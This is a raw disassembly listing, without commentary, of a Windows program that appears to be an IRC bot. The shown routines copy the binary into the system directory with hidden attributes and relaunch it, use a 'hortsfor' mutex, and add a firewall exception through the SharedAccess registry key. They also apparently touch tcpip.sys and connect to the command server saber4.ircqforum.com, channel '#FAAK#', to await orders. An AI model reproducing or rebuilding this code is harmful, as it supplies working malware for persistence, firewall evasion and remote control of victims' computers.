		shr	esi, 15h
		shl	ebx, 0Bh
		or	esi, ebx
		add	esi, eax
		mov	ebx, esi
		mov	[ebp+arg_0], esi
		xor	ebx, edx
		xor	ebx, eax
		add	ebx, [ebp+var_10]
		lea	edi, [edi+ebx-2B10CF7Bh]
		mov	ebx, edi
		shr	ebx, 10h
		shl	edi, 10h
		or	ebx, edi
		add	ebx, esi
		xor	[ebp+arg_0], ebx
		mov	[ebp+arg_4], ebx
		mov	edi, [ebp+arg_0]
		xor	edi, eax
		add	edi, [ebp+var_20]
		lea	edi, [edx+edi+4881D05h]
		mov	edx, edi
		shl	edx, 17h
		shr	edi, 9
		or	edx, edi
		mov	edi, [ebp+arg_0]
		add	edx, ebx
		xor	edi, edx
		xor	ebx, edx
		add	edi, [ebp+var_30]
		lea	edi, [eax+edi-262B2FC7h]
		mov	eax, edi
		shr	eax, 1Ch
		shl	edi, 4
		or	eax, edi
		add	eax, edx
		xor	ebx, eax
		add	ebx, [ebp+var_3C]
		lea	edi, [esi+ebx-1924661Bh]
		mov	ebx, [ebp+arg_4]
		mov	esi, edi
		shr	esi, 15h
		shl	edi, 0Bh
		or	esi, edi
		add	esi, eax
		mov	edi, esi
		xor	edi, edx
		xor	edi, eax
		add	edi, [ebp+var_1C]
		lea	ebx, [ebx+edi+1FA27CF8h]
		mov	edi, ebx
		shr	edi, 10h
		shl	ebx, 10h
		or	edi, ebx
		mov	ebx, esi
		add	edi, esi
		xor	ebx, edi
		mov	[ebp+arg_4], edi
		xor	ebx, eax
		add	ebx, [ebp+var_2C]
		lea	edx, [edx+ebx-3B53A99Bh]
		mov	ebx, [ebp+arg_4]
		mov	edi, edx
		shl	edi, 17h
		shr	edx, 9
		or	edi, edx
		mov	edx, esi
		add	edi, ebx
		not	edx
		or	edx, edi
		xor	edx, ebx
		add	edx, [ebp+var_8]
		lea	eax, [eax+edx-0BD6DDBCh]
		mov	edx, eax
		shr	edx, 1Ah
		shl	eax, 6
		or	edx, eax
		add	edx, edi
		mov	eax, ebx
		not	eax
		or	eax, edx
		xor	eax, edi
		add	eax, [ebp+var_34]
		lea	esi, [esi+eax+432AFF97h]
		mov	eax, esi
		shr	eax, 16h
		shl	esi, 0Ah
		or	eax, esi
		mov	esi, edi
		add	eax, edx
		not	esi
		or	esi, eax
		xor	esi, edx
		add	esi, [ebp+var_38]
		lea	ebx, [ebx+esi-546BDC59h]
		mov	esi, ebx
		shr	esi, 11h
		shl	ebx, 0Fh
		or	esi, ebx
		mov	ebx, edx
		add	esi, eax
		not	ebx
		or	ebx, esi
		xor	ebx, eax
		add	ebx, [ebp+var_C]
		lea	edi, [edi+ebx-36C5FC7h]
		mov	ebx, edi
		shr	edi, 0Bh
		shl	ebx, 15h
		or	ebx, edi
		mov	edi, eax
		add	ebx, esi
		not	edi
		or	edi, ebx
		xor	edi, esi
		add	edi, [ebp+var_3C]
		lea	edi, [edx+edi+655B59C3h]
		mov	edx, edi
		shr	edx, 1Ah
		shl	edi, 6
		or	edx, edi
		mov	edi, esi
		add	edx, ebx
		not	edi
		or	edi, edx
		xor	edi, ebx
		add	edi, [ebp+var_10]
		lea	edi, [eax+edi-70F3336Eh]
		mov	eax, edi
		shr	eax, 16h
		shl	edi, 0Ah
		or	eax, edi
		mov	edi, ebx
		add	eax, edx
		not	edi
		or	edi, eax
		xor	edi, edx
		add	edi, [ebp+var_40]
		lea	edi, [esi+edi-100B83h]
		mov	esi, edi
		shr	esi, 11h
		shl	edi, 0Fh
		or	esi, edi
		mov	edi, edx
		add	esi, eax
		not	edi
		or	edi, esi
		xor	edi, eax
		add	edi, [ebp+var_14]
		lea	ebx, [ebx+edi-7A7BA22Fh]
		mov	edi, ebx
		shl	edi, 15h
		shr	ebx, 0Bh
		or	edi, ebx
		mov	ebx, eax
		add	edi, esi
		not	ebx
		or	ebx, edi
		xor	ebx, esi
		add	ebx, [ebp+var_18]
		lea	ebx, [edx+ebx+6FA87E4Fh]
		mov	edx, ebx
		shl	ebx, 6
		shr	edx, 1Ah
		or	edx, ebx
		mov	ebx, esi
		not	ebx
		add	edx, edi
		or	ebx, edx
		xor	ebx, edi
		add	ebx, [ebp+var_1C]
		lea	ebx, [eax+ebx-1D31920h]
		mov	eax, ebx
		shl	ebx, 0Ah
		shr	eax, 16h
		or	eax, ebx
		mov	ebx, edi
		add	eax, edx
		not	ebx
		or	ebx, eax
		xor	ebx, edx
		add	ebx, [ebp+var_20]
		lea	ebx, [esi+ebx-5CFEBCECh]
		mov	esi, ebx
		shr	esi, 11h
		shl	ebx, 0Fh
		or	esi, ebx
		mov	ebx, edx
		add	esi, eax
		not	ebx
		or	ebx, esi
		xor	ebx, eax
		add	ebx, [ebp+var_24]
		lea	ebx, [edi+ebx+4E0811A1h]
		mov	edi, ebx
		shl	edi, 15h
		shr	ebx, 0Bh
		or	edi, ebx
		mov	ebx, eax
		add	edi, esi
		not	ebx
		or	ebx, edi
		xor	ebx, esi
		add	ebx, [ebp+var_44]
		lea	ebx, [edx+ebx-8AC817Eh]
		mov	edx, ebx
		shr	edx, 1Ah
		shl	ebx, 6
		or	edx, ebx
		mov	ebx, esi
		add	edx, edi
		not	ebx
		or	ebx, edx
		xor	ebx, edi
		add	ebx, [ebp+var_28]
		lea	eax, [eax+ebx-42C50DCBh]
		mov	ebx, eax
		shr	ebx, 16h
		shl	eax, 0Ah
		or	ebx, eax
		mov	eax, edi
		add	ebx, edx
		not	eax
		or	eax, ebx
		xor	eax, edx
		add	eax, [ebp+var_2C]
		lea	esi, [esi+eax+2AD7D2BBh]
		mov	eax, esi
		shr	eax, 11h
		shl	esi, 0Fh
		or	eax, esi
		mov	esi, edx
		add	eax, ebx
		not	esi
		or	esi, eax
		xor	esi, ebx
		add	esi, [ebp+var_30]
		lea	edi, [edi+esi-14792C6Fh]
		mov	esi, [ecx]
		add	esi, edx
		mov	edx, edi
		mov	[ecx], esi
		shl	edx, 15h
		shr	edi, 0Bh
		or	edx, edi
		pop	edi
		add	edx, [ecx+4]
		pop	esi
		add	edx, eax
		mov	[ecx+4], edx
		mov	edx, [ecx+8]
		add	edx, eax
		mov	eax, [ecx+0Ch]
		add	eax, ebx
		mov	[ecx+8], edx
		mov	[ecx+0Ch], eax
		pop	ebx
		leave
		retn
sub_408644	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408F2E	proc near		; CODE XREF: sub_408FD8+28p

var_40		= byte ptr -40h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		push	esi
		mov	esi, [ebp+arg_0]
		push	38h
		mov	eax, [esi]
		mov	ecx, [esi+4]
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], ecx
		shr	eax, 3
		and	eax, 3Fh
		pop	ecx
		cmp	eax, ecx
		jl	short loc_408F53
		push	78h
		pop	ecx


loc_408F53:				; CODE XREF: sub_408F2E+20j
		sub	ecx, eax
		push	edi
		push	ecx
		push	offset aA	; "€"
		push	esi
		call	sub_4085B2
		add	esp, 0Ch
		lea	eax, [esi+1Ah]
		lea	ecx, [ebp+var_40]
		mov	[ebp+arg_0], 0Eh


loc_408F72:				; CODE XREF: sub_408F2E+68j
		movzx	edi, byte ptr [eax-1]
		xor	edx, edx
		mov	dh, [eax+1]
		mov	dl, [eax]
		add	eax, 4
		shl	edx, 8
		or	edx, edi
		movzx	edi, byte ptr [eax-6]
		shl	edx, 8
		or	edx, edi
		mov	[ecx], edx
		add	ecx, 4
		dec	[ebp+arg_0]
		jnz	short loc_408F72
		lea	eax, [ebp+var_40]
		lea	edi, [esi+8]
		push	eax
		push	edi
		call	sub_408644
		pop	ecx
		lea	eax, [esi+59h]
		pop	ecx
		push	4
		mov	ecx, edi
		pop	esi
		pop	edi


loc_408FB0:				; CODE XREF: sub_408F2E+A5j
		mov	dl, [ecx]
		mov	[eax-1], dl
		mov	edx, [ecx]
		shr	edx, 8
		mov	[eax], dl
		mov	edx, [ecx]
		shr	edx, 10h
		mov	[eax+1], dl
		mov	edx, [ecx]
		shr	edx, 18h
		mov	[eax+2], dl
		add	ecx, 4
		add	eax, 4
		dec	esi
		jnz	short loc_408FB0
		pop	esi
		leave
		retn
sub_408F2E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408FD8	proc near		; CODE XREF: sub_40997B+1B09p

var_68		= byte ptr -68h
var_10		= byte ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 68h
		push	esi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_68]
		push	esi
		push	eax
		call	sub_40856C
		push	[ebp+arg_4]
		mov	edi, [ebp+arg_0]
		lea	eax, [ebp+var_68]
		push	edi
		push	eax
		call	sub_4085B2
		lea	eax, [ebp+var_68]
		push	eax
		call	sub_408F2E
		add	esp, 18h
		push	offset byte_424EF4
		push	edi
		call	sub_40EE10
		pop	ecx
		pop	ecx


loc_409015:				; CODE XREF: sub_408FD8+56j
		movzx	eax, [ebp+esi+var_10]
		push	eax
		push	edi
		push	offset aS02x	; "%s%02X"
		push	edi
		call	sub_40EE10
		add	esp, 10h
		inc	esi
		cmp	esi, 10h
		jb	short loc_409015
		pop	edi
		pop	esi
		leave
		retn
sub_408FD8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409034	proc near		; CODE XREF: sub_410B5C+C9p

var_A8C		= byte ptr -0A8Ch
var_988		= byte ptr -988h
var_884		= byte ptr -884h
var_883		= byte ptr -883h
var_6F4		= byte ptr -6F4h
var_5F4		= byte ptr -5F4h
var_4F4		= byte ptr -4F4h
var_3F0		= byte ptr -3F0h
var_2EC		= byte ptr -2ECh
var_1E8		= byte ptr -1E8h
var_168		= byte ptr -168h
var_164		= byte ptr -164h
var_64		= dword	ptr -64h
var_58		= dword	ptr -58h
var_38		= dword	ptr -38h
var_34		= word ptr -34h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 0A8Ch
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		mov	[ebp+var_C], ebx
		mov	[ebp+var_8], offset sub_4081F8
		push	[ebp+var_8]
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		mov	esi, dword_41A090
		call	esi	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	dword_4BA0D8, eax
		call	esi	; GetTickCount
		push	eax
		call	sub_41018E
		pop	ecx
		call	sub_403C25
		push	2
		call	dword_4273C0	; SetErrorMode
		push	7530h
		push	offset aHortsfor ; "hortsfor"
		push	ebx
		push	ebx
		call	dword_41A108	; CreateMutexA
		push	eax
		call	dword_41A104	; WaitForSingleObject
		cmp	eax, 102h
		jnz	short loc_4090B1
		push	1
		call	dword_41A0F4	; ExitProcess


loc_4090B1:				; CODE XREF: sub_409034+73j
		lea	eax, [ebp+var_884]
		push	eax
		push	202h
		call	dword_42728C	; WSAStartup
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jnz	loc_4095B2
		cmp	[ebp+var_884], 2
		jnz	loc_4095AC
		xor	eax, eax
		mov	al, [ebp+var_883]
		cmp	al, 2
		jnz	loc_4095AC
		mov	esi, 104h
		lea	eax, [ebp+var_3F0]
		push	esi
		push	eax
		call	dword_41A0E8	; GetSystemDirectoryA
		lea	eax, [ebp+var_2EC]
		push	esi
		push	eax
		push	ebx
		call	dword_41A0A4	; GetModuleHandleA
		push	eax
		call	dword_41A078	; GetModuleFileNameA
		lea	eax, [ebp+var_5F4]
		push	eax
		lea	eax, [ebp+var_6F4]
		push	eax
		push	ebx
		lea	eax, [ebp+var_2EC]
		push	ebx
		push	eax
		call	sub_41090E
		add	esp, 14h
		lea	eax, [ebp+var_5F4]
		push	eax
		lea	eax, [ebp+var_6F4]
		push	eax
		push	offset aSS_1	; "%s%s"
		lea	eax, [ebp+var_988]
		push	esi
		push	eax
		call	sub_40E7AB
		lea	eax, [ebp+var_3F0]
		push	eax
		lea	eax, [ebp+var_2EC]
		push	eax
		call	sub_4102A0
		add	esp, 1Ch
		mov	esi, offset byte_41FCA4
		test	eax, eax
		jnz	loc_40931D
		cmp	dword_41FBE8, ebx
		jz	short loc_4091AF
		push	esi
		xor	edi, edi
		call	sub_40E730
		sub	eax, 4
		pop	ecx
		jz	short loc_4091AF


loc_40918C:				; CODE XREF: sub_409034+179j
		call	sub_410198
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		push	esi
		add	dl, 61h
		mov	byte_41FCA4[edi], dl
		inc	edi
		call	sub_40E730
		sub	eax, 4
		pop	ecx
		cmp	edi, eax
		jb	short loc_40918C


loc_4091AF:				; CODE XREF: sub_409034+148j
					; sub_409034+156j
		lea	eax, [ebp+var_3F0]
		push	esi
		push	eax
		lea	eax, [ebp+var_168]
		push	offset aSS_0	; "%s\\%s"
		push	eax
		call	sub_40EE10
		add	esp, 10h
		lea	eax, [ebp+var_168]
		push	eax
		call	dword_41A0CC	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4091EF
		lea	eax, [ebp+var_168]
		push	80h
		push	eax
		call	dword_41A0C8	; SetFileAttributesA


loc_4091EF:				; CODE XREF: sub_409034+1A7j
		mov	edi, dword_41A0D8
		lea	eax, [ebp+var_168]
		push	ebx
		push	eax
		lea	eax, [ebp+var_2EC]
		mov	[ebp+var_4], ebx
		push	eax


loc_409207:				; CODE XREF: sub_409034+20Fj
		call	edi	; CopyFileA
		test	eax, eax
		jnz	short loc_409245
		call	dword_41A07C	; RtlGetLastWin32Error
		cmp	[ebp+var_4], ebx
		jnz	short loc_409245
		cmp	eax, 20h
		jz	short loc_409222
		cmp	eax, 5
		jnz	short loc_409245


loc_409222:				; CODE XREF: sub_409034+1E7j
		push	3A98h
		mov	[ebp+var_4], 1
		call	dword_41A060	; Sleep
		lea	eax, [ebp+var_168]
		push	ebx
		push	eax
		lea	eax, [ebp+var_2EC]
		push	eax
		jmp	short loc_409207
; ---------------------------------------------------------------------------


loc_409245:				; CODE XREF: sub_409034+1D7j
					; sub_409034+1E2j ...
		lea	eax, [ebp+var_168]
		push	eax
		call	sub_404C1C
		pop	ecx
		lea	eax, [ebp+var_168]
		push	7
		push	eax
		call	dword_41A0C8	; SetFileAttributesA
		push	10h
		lea	eax, [ebp+var_20]
		push	ebx
		push	eax
		call	sub_40E800
		push	44h
		lea	eax, [ebp+var_64]
		pop	edi
		push	edi
		push	ebx
		push	eax
		call	sub_40E800
		add	esp, 18h
		mov	[ebp+var_64], edi
		mov	[ebp+var_58], offset byte_424EF4
		mov	[ebp+var_34], bx
		push	1
		pop	edi
		mov	[ebp+var_38], edi
		call	dword_41A100	; GetCurrentProcessId
		push	eax
		push	edi
		push	100000h
		call	dword_41A0FC	; OpenProcess
		lea	ecx, [ebp+var_2EC]
		push	ecx
		push	eax
		lea	eax, [ebp+var_168]
		push	eax
		lea	eax, [ebp+var_A8C]
		push	offset aSDS	; "%s %d \"%s\""
		push	eax
		call	sub_40EE10
		add	esp, 14h
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_64]
		push	eax
		lea	eax, [ebp+var_3F0]
		push	eax
		push	ebx
		push	28h
		push	edi
		push	ebx
		lea	eax, [ebp+var_A8C]
		push	ebx
		push	eax
		lea	eax, [ebp+var_168]
		push	eax
		call	dword_41A0C0	; CreateProcessA
		test	eax, eax
		jz	short loc_40931D
		push	0C8h
		call	dword_41A060	; Sleep
		push	[ebp+var_20]
		mov	esi, dword_41A068
		call	esi	; CloseHandle
		push	[ebp+var_1C]
		call	esi	; CloseHandle
		call	dword_427274	; WSACleanup
		push	ebx
		call	dword_41A0F4	; ExitProcess


loc_40931D:				; CODE XREF: sub_409034+13Cj
					; sub_409034+2BFj
		cmp	dword_4BA2A0, 2
		jle	short loc_409369
		mov	eax, dword_4BA2A4
		push	dword ptr [eax+4]
		call	sub_40FB66
		pop	ecx
		mov	edi, eax
		push	0FFFFFFFFh
		push	edi
		call	dword_41A104	; WaitForSingleObject
		push	edi
		call	dword_41A068	; CloseHandle
		mov	eax, dword_4BA2A4
		cmp	[eax+8], ebx
		jz	short loc_409369
		push	7D0h
		call	dword_41A060	; Sleep
		mov	eax, dword_4BA2A4
		push	dword ptr [eax+8]
		call	dword_41A0F8	; DeleteFileA


loc_409369:				; CODE XREF: sub_409034+2F0j
					; sub_409034+31Aj
		lea	eax, [ebp+var_3F0]
		push	esi
		push	eax
		lea	eax, [ebp+var_4F4]
		push	offset aSS_0	; "%s\\%s"
		push	eax
		call	sub_40EE10
		add	esp, 10h
		cmp	dword_41FBEC, ebx
		jz	short loc_4093A2
		cmp	dword_4273E4, ebx
		jnz	short loc_4093A2
		lea	eax, [ebp+var_4F4]
		push	eax
		call	sub_407C5D
		pop	ecx


loc_4093A2:				; CODE XREF: sub_409034+357j
					; sub_409034+35Fj
		cmp	dword_41FBFC, ebx
		jz	short loc_40941E
		lea	eax, [ebp+var_4F4]
		push	offset aInternet ; "Internet"
		push	eax
		push	offset aSEnabledS ; "%s:*:Enabled:%s"
		lea	eax, [ebp+var_164]
		push	100h
		push	eax
		call	sub_40E7AB
		add	esp, 14h
		lea	eax, [ebp+var_4]
		push	ebx
		push	eax
		push	ebx
		push	0F003Fh
		push	ebx
		push	ebx
		push	ebx
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\Share"...
		push	80000002h
		call	dword_4272C8	; RegCreateKeyExA
		lea	eax, [ebp+var_164]
		push	eax
		call	sub_40E730
		pop	ecx
		push	eax
		lea	eax, [ebp+var_164]
		push	eax
		push	1
		lea	eax, [ebp+var_4F4]
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	dword_427338	; RegSetValueExA
		push	[ebp+var_4]
		call	dword_4272F0	; RegCloseKey


loc_40941E:				; CODE XREF: sub_409034+374j
		lea	eax, [ebp+var_1E8]
		push	offset dword_41FDBC
		push	eax
		call	sub_40EE10
		push	ebx
		lea	eax, [ebp+var_1E8]
		push	ebx
		push	eax
		call	sub_40E1D6
		lea	eax, [ebp+var_1E8]
		push	eax
		call	sub_407A4E
		push	0B80h
		push	ebx
		push	offset dword_42C558
		call	sub_40E800
		call	sub_410198
		push	7Fh
		push	offset aSaber4_ircqfor ; "saber4.ircqforum.com"
		push	offset dword_4BA0E4
		mov	dword_4BA250, ebx
		call	sub_410090
		mov	eax, dword_41FBD8
		push	3Fh
		mov	edi, offset dword_4BA164
		push	offset aFaak	; "#FAAK#"
		push	edi
		mov	dword_4BA234, eax
		call	sub_410090
		push	3Fh
		mov	esi, offset dword_4BA1A4
		push	offset aSaad_	; "saad."
		push	esi
		call	sub_410090
		add	esp, 48h
		mov	dword_4BA238, ebx


loc_4094AC:				; CODE XREF: sub_409034+51Ej
					; sub_409034+529j ...
		mov	[ebp+var_4], ebx


loc_4094AF:				; CODE XREF: sub_409034+4D2j
		cmp	dword_4273FC, ebx
		jnz	short loc_4094CD
		lea	eax, [ebp+var_10]
		push	ebx
		push	eax
		call	dword_427258	; InternetGetConnectedState
		test	eax, eax
		jnz	short loc_4094CD
		push	7530h
		jmp	short loc_4094F9
; ---------------------------------------------------------------------------


loc_4094CD:				; CODE XREF: sub_409034+481j
					; sub_409034+490j
		push	offset dword_4BA0E0
		mov	dword_4BA24C, ebx
		call	sub_4095BB
		cmp	eax, 2
		mov	[ebp+var_8], eax
		jz	loc_4095A7
		cmp	dword_4BA24C, ebx
		jz	short loc_4094F4
		dec	[ebp+var_4]


loc_4094F4:				; CODE XREF: sub_409034+4BBj
		push	2710h


loc_4094F9:				; CODE XREF: sub_409034+497j
		call	dword_41A060	; Sleep
		inc	[ebp+var_4]
		cmp	[ebp+var_4], 6
		jl	short loc_4094AF
		cmp	[ebp+var_8], 2
		jz	loc_4095A7
		cmp	[ebp+var_C], ebx
		jz	short loc_409557
		push	7Fh
		push	offset aSaber4_ircqfor ; "saber4.ircqforum.com"
		push	offset dword_4BA0E4
		call	sub_410090
		mov	eax, dword_41FBD8
		push	3Fh
		push	offset aFaak	; "#FAAK#"
		push	edi
		mov	dword_4BA234, eax
		call	sub_410090
		push	3Fh
		push	offset aSaad_	; "saad."
		push	esi
		call	sub_410090
		add	esp, 24h
		mov	[ebp+var_C], ebx
		jmp	loc_4094AC
; ---------------------------------------------------------------------------


loc_409557:				; CODE XREF: sub_409034+4E1j
		cmp	byte_41FC80, bl
		jz	loc_4094AC
		push	7Fh
		push	offset byte_41FC80
		push	offset dword_4BA0E4
		call	sub_410090
		mov	eax, dword_41FBDC
		push	3Fh
		push	offset aFaak_0	; "#FAAK#"
		push	edi
		mov	dword_4BA234, eax
		call	sub_410090
		push	3Fh
		push	offset aSaad__0	; "saad."
		push	esi
		call	sub_410090
		add	esp, 24h
		mov	[ebp+var_C], 1
		jmp	loc_4094AC
; ---------------------------------------------------------------------------


loc_4095A7:				; CODE XREF: sub_409034+4AFj
					; sub_409034+4D8j
		call	sub_40E39F


loc_4095AC:				; CODE XREF: sub_409034+A1j
					; sub_409034+B1j
		call	dword_427274	; WSACleanup


loc_4095B2:				; CODE XREF: sub_409034+94j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	10h
sub_409034	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4095BB	proc near		; CODE XREF: sub_409034+4A4p

var_4B4		= byte ptr -4B4h
var_3B0		= byte ptr -3B0h
var_2AC		= dword	ptr -2ACh
var_2A8		= dword	ptr -2A8h
var_2A4		= byte ptr -2A4h
var_1A0		= dword	ptr -1A0h
var_19C		= dword	ptr -19Ch
var_198		= dword	ptr -198h
var_194		= dword	ptr -194h
var_190		= byte ptr -190h
var_110		= byte ptr -110h
var_D0		= byte ptr -0D0h
var_90		= byte ptr -90h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= byte ptr -30h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 4B4h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	59h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_194]
		xor	ebx, ebx
		rep movsd
		mov	[ebp+var_4], ebx
		mov	dword ptr [eax+160h], 1


loc_4095E6:				; CODE XREF: sub_4095BB+1FEj
					; sub_4095BB+214j ...
		push	10h
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		call	sub_40E800
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+var_40]
		call	dword_427314	; htons
		mov	[ebp+var_12], ax
		lea	eax, [ebp+var_190]
		push	eax
		call	sub_404F02
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_10], eax
		jz	loc_4097DE
		push	6
		push	1
		push	2
		call	dword_427394	; socket
		mov	esi, eax
		mov	eax, [ebp+var_38]
		imul	eax, 234h
		push	10h
		mov	dword_42D2E4[eax], esi
		lea	eax, [ebp+var_14]
		push	eax
		push	esi
		call	dword_4272BC	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_4097E2
		push	1Ch
		lea	eax, [ebp+var_30]
		push	ebx
		push	eax
		call	sub_40E800
		push	ebx
		lea	eax, [ebp+var_30]
		push	dword_41FBF8
		push	eax
		push	esi
		call	sub_40E17A
		push	1Bh
		mov	[ebp+arg_0], eax
		push	eax
		mov	eax, [ebp+var_38]
		imul	eax, 234h
		add	eax, offset byte_42D2F0
		push	eax
		call	sub_410090
		add	esp, 28h
		lea	eax, [ebp+var_190]
		push	eax
		push	offset dword_41FEC4
		call	sub_407AC2
		cmp	dword_41FC00, ebx
		pop	ecx
		pop	ecx
		jz	loc_40977D
		call	sub_404FE0
		test	eax, eax
		jz	loc_40977D
		lea	eax, [ebp+var_4B4]
		push	104h
		push	eax
		call	dword_41A0E8	; GetSystemDirectoryA
		lea	eax, [ebp+var_4B4]
		push	eax
		lea	eax, [ebp+var_3B0]
		push	offset aSDriversTcpip_ ; "%s\\drivers\\tcpip.sys"
		push	eax
		call	sub_40EE10
		lea	eax, [ebp+var_3B0]
		push	eax
		call	sub_40580B
		mov	edi, eax
		add	esp, 10h
		cmp	edi, ebx
		jz	loc_40977D
		lea	eax, [ebp+var_3B0]
		push	104h
		push	eax
		lea	eax, [ebp+var_2A4]
		push	eax
		mov	[ebp+var_2AC], esi
		mov	[ebp+var_19C], ebx
		call	sub_410090
		push	ebx
		push	27h
		push	offset dword_41FE84
		mov	[ebp+var_1A0], edi
		call	sub_40E1D6
		add	esp, 18h
		mov	[ebp+var_2A8], eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_2AC]
		push	ebx
		push	eax
		push	offset sub_405076
		push	ebx
		push	ebx
		call	dword_41A080	; CreateThread
		mov	ecx, [ebp+var_2A8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_42D2EC[ecx], eax
		jz	short loc_40977D


loc_40976B:				; CODE XREF: sub_4095BB+1C0j
		cmp	[ebp+var_198], ebx
		jnz	short loc_40977D
		push	32h
		call	dword_41A060	; Sleep
		jmp	short loc_40976B
; ---------------------------------------------------------------------------


loc_40977D:				; CODE XREF: sub_4095BB+EBj
					; sub_4095BB+F8j ...
		push	[ebp+var_3C]
		lea	eax, [ebp+var_190]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		lea	eax, [ebp+var_D0]
		push	[ebp+var_194]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_110]
		push	eax
		push	esi
		call	sub_409802
		add	esp, 20h
		mov	edi, eax
		push	esi
		call	dword_4273AC	; closesocket
		cmp	edi, ebx
		jz	loc_4095E6
		cmp	edi, 1
		jnz	short loc_4097D4
		push	0DBBA0h
		call	dword_41A060	; Sleep
		jmp	loc_4095E6
; ---------------------------------------------------------------------------


loc_4097D4:				; CODE XREF: sub_4095BB+207j
		cmp	edi, 2
		jz	short loc_4097F0
		jmp	loc_4095E6
; ---------------------------------------------------------------------------


loc_4097DE:				; CODE XREF: sub_4095BB+5Fj
		xor	eax, eax
		jmp	short loc_4097FB
; ---------------------------------------------------------------------------


loc_4097E2:				; CODE XREF: sub_4095BB+92j
		push	esi
		call	dword_4273AC	; closesocket
		call	sub_404F2B
		xor	edi, edi


loc_4097F0:				; CODE XREF: sub_4095BB+21Cj
		push	[ebp+var_38]
		call	sub_40E4F2
		pop	ecx
		mov	eax, edi


loc_4097FB:				; CODE XREF: sub_4095BB+225j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_4095BB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409802	proc near		; CODE XREF: sub_4095BB+1EBp

var_1A8C	= byte ptr -1A8Ch
var_A8C		= byte ptr -0A8Ch
var_2BC		= byte ptr -2BCh
var_13C		= byte ptr -13Ch
var_9C		= byte ptr -9Ch
var_1C		= byte ptr -1Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		mov	eax, 1A8Ch
		call	sub_40EC80
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	3
		mov	[ebp+var_8], ebx
		lea	eax, [ebp+var_2BC]
		pop	ecx


loc_409820:				; CODE XREF: sub_409802+26j
		mov	[eax], bl
		add	eax, 80h
		dec	ecx
		jnz	short loc_409820
		cmp	byte_4BA248, bl
		jz	short loc_409847
		push	offset byte_4BA248
		push	offset aPassS	; "PASS	%s\r\n"
		push	[ebp+arg_0]
		call	sub_408486
		add	esp, 0Ch


loc_409847:				; CODE XREF: sub_409802+2Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_1C]
		push	ebx
		push	ebx
		push	eax
		push	[ebp+arg_10]
		call	sub_40E17A
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_9C]
		push	[ebp+arg_C]
		push	offset aNickSUserS00S ;	"NICK %s\r\nUSER %s 0 0	:%s\r\n"
		push	eax
		call	sub_40EE10
		add	esp, 14h
		lea	eax, [ebp+var_9C]
		push	ebx
		push	eax
		call	sub_40E730
		pop	ecx
		push	eax
		lea	eax, [ebp+var_9C]
		push	eax
		push	[ebp+arg_0]
		call	dword_427364	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4098B2
		push	[ebp+arg_0]
		call	dword_4273AC	; closesocket
		push	1388h
		call	dword_41A060	; Sleep


loc_4098AB:				; CODE XREF: sub_409802+DAj
					; sub_409802+154j
		xor	eax, eax


loc_4098AD:				; CODE XREF: sub_409802+174j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4098B2:				; CODE XREF: sub_409802+93j
					; sub_409802+F9j ...
		mov	esi, 1000h
		lea	eax, [ebp+var_1A8C]
		push	esi
		push	ebx
		push	eax
		call	sub_40E800
		add	esp, 0Ch
		lea	eax, [ebp+var_1A8C]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_42732C	; recv
		test	eax, eax
		jle	short loc_4098AB
		lea	eax, [ebp+var_A8C]
		push	eax
		lea	eax, [ebp+var_1A8C]
		push	eax
		call	sub_404943
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
